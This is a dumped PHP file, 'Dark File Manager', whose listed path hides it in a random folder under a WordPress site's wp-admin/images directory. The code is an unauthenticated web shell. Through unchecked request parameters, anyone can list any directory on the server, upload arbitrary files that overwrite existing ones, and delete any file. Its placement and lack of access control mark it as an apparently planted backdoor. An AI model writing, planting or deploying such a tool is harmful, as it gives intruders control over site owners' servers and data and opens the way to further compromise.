File "index.php"

Full Path: /home/stylijtl/public_html/wp-admin/images/wp28ee4f/index.php
File size: 2.18 KB
MIME-type: text/x-php
Charset: utf-8

<?php
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$dir = realpath($dir);

if(isset($_POST['upload'])){
    $file = $_FILES['file'];
    $path = $dir . "/" . $file['name'];

    if(file_exists($path)){
        unlink($path); // replace
    }

    move_uploaded_file($file['tmp_name'],$path);
}

if(isset($_GET['delete'])){
    $del = $_GET['delete'];
    if(file_exists($del)){
        unlink($del);
    }
}

$files = scandir($dir);
?>

<!DOCTYPE html>
<html>
<head>
<title>Dark File Manager</title>

<link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Cinzel&display=swap" rel="stylesheet">

<style>

body{
background:#000;
color:#00aaff;
font-family:'Share Tech Mono', monospace;
margin:0;
padding:20px;
}

h1{
color:#ff0033;
text-align:center;
font-family:'Cinzel', serif;
}

a{
color:#00aaff;
text-decoration:none;
}

a:hover{
color:#ff0033;
}

.container{
max-width:1000px;
margin:auto;
}

.upload{
margin-bottom:20px;
padding:10px;
border:1px solid #333;
}

button{
background:#111;
border:1px solid #ff0033;
color:#00aaff;
padding:6px 12px;
cursor:pointer;
}

button:hover{
background:#ff0033;
color:white;
}

table{
width:100%;
border-collapse:collapse;
}

th{
color:#ff0033;
border-bottom:1px solid #333;
padding:8px;
text-align:left;
}

td{
border-bottom:1px solid #222;
padding:8px;
}

tr:hover{
background:#050505;
}

</style>

</head>
<body>

<div class="container">

<h1>Dark File Manager</h1>

<div class="upload">
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<button name="upload">Upload</button>
</form>
</div>

<table>

<tr>
<th>Name</th>
<th>Size</th>
<th>Action</th>
</tr>

<?php
foreach($files as $f){

if($f=="." || $f=="..") continue;

$path = $dir."/".$f;

echo "<tr>";

if(is_dir($path)){
echo "<td>📁 <a href='?dir=$path'>$f</a></td>";
echo "<td>Folder</td>";
echo "<td>-</td>";
}
else{
$size = filesize($path);
echo "<td>📄 $f</td>";
echo "<td>$size bytes</td>";
echo "<td><a href='?delete=$path'>Delete</a></td>";
}

echo "</tr>";
}
?>

</table>

</div>

</body>
</html>